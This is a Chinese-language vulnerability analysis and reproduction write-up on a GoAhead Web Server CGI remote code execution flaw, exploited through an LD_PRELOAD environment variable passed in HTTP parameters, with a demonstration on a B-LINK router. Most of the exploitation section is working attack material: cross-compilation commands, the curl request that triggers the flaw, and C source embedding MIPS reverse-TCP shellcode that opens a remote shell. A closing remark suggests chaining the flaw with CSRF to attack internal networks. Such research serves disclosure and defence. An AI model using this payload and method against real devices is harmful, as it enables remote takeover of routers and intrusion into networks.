前言
GoAhead Web Server 廣泛應用于嵌入式設備中,最近其出現了一個高危漏洞,在開啟CGI的情況下,可以遠程代碼執行,據此本文簡要分析了該漏洞詳情,并在某款路由器上成功復現,反彈shell。
漏洞分析
這個漏洞出現在goahead/src/cgi.c:cgihandler函數中,它使用http請求參數中的鍵值對來初始化新進程的envp參數,在此處只對“REMOTE_HOST”和“HTTP_AUTHORIZATION”參數進行了判斷,其他參數全部默認信任。

隨后,該函數又將子進程標準輸入輸出指定到了一個臨時文件,而這個臨時文件是由post請求的數據部分初始化的,最后launchCgi函數使用從http請求中得到的參數和標準輸入輸出創建了cgi腳本進程。

查看goahead的elf header可以得到其interp段依賴鏈接器“/lib64/ld-linux-x86-64.so.2”,動態鏈接器是在鏈接過程中最先運行的代碼,它用來加載目標程序的共享庫和符號表。

在鏈接器鏈接過程中會根據環境變量的值進行不同的操作,其中LD_PRELOAD變量可以指定一個共享庫列表,鏈接器會優先加載此列表中共享庫。
如果我們在http請求中指定LD_PRELOAD環境變量,此變量將被當作啟動cgi腳本的參數傳遞給鏈接器,從而可以在cgi腳本啟動之前執行任意.so文件,由于post請求中的數據被保存到/tmp文件夾中的一個臨時文件中,而launchCgi函數又將cgi腳本的標準輸入輸出指定到了該臨時文件,因此我們可以遠程向目標寫入一個.so文件,并將LD_PRELOAD指定為“/proc/self/fd/0”來間接引用post請求數據創建的臨時文件,從而在目標系統上執行任意代碼。
實戰
調試設備
為了驗證該漏洞的真實危害性,找了B-LINK的一款路由器來做測試,首先通過路由器上的UART串口,進入路由器的調試窗口。

查看web server 是否 goahead 并且有cgi程序。

漏洞驗證
有四個cgi文件,找到一個能使用的upload_settings.cgi(需要登陸)

此路由器的系統為 mipsel,原作者沒有給出mips小端格式的測試so,使用mipsel交叉編譯Buildroot編譯一個
pentest@ubuntu:~/buildroot$ cat mipsel-hw.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
pentest@ubuntu:~/buildroot$ ./mipsel-linux-gcc -shared -fPIC mipsel-hw.c -o mipsel-hw.so
pentest@ubuntu:~/buildroot$ file mipsel-hw.so
mipsel-hw.so: ELF 32-bit LSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, not stripped
測試
curl -X POST -b "user=admin;platform=0" --data-binary @payloads/mipsel-hw.so http://192.168.16.1/cgi-bin/upload_settings.cgi?LD_PRELOAD=/proc/self/fd/0 -i

回顯成功,說明漏洞存在。
生成 payload
使用routesplite 生成一個mipsel 下的reverse_tcp shellcode 。

寫入動態鏈接庫中
#include <stdio.h>
#include <unistd.h>
unsigned char sc[] = {
"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04"
"\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20"
"\x80\x01\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27"
"\x20\x80\x01\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24"
"\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09"
"\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x15\xb3\x05\x3c\x02\x00"
"\xa5\x34\xf8\xff\xa5\xaf\x10\x67\x05\x3c\xc0\xa8\xa5\x34\xfc"
"\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01"
"\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08"
"\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff"
"\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec"
"\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23"
"\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09"
"\x01"
};
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
void(*s)(void);
s = sc;
s();
}
Buildroot編譯
./mipsel-linux-gcc -shared -fPIC mipsel-reverse-tcp.c -o mipsel-reverse-tcp.so
反彈shell
本地 nc 監聽 5555 端口,把生成的so文件post到目標
curl -X POST -b "user=admin;platform=0" --data-binary @payloads/mipsel-reverse-tcp.so http://192.168.16.1/cgi-bin/upload_settings.cgi?LD_PRELOAD=/proc/self/fd/0

成功反彈shell

思考
- 在挖掘IOT設備應用層漏洞時,也需要去關注系統組件的安全。
- 如果goahead 的cgi 程序無需登錄可以訪問,可以直接配合csrf 打內網。
參考
- Remote LD_PRELOAD Exploitation https://www.elttam.com.au/blog/goahead
- routesplite https://github.com/reverse-shell/routersploit
- 硬件調試 http://future-sec.com/iot-security-hardware-debuging.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/488/
暫無評論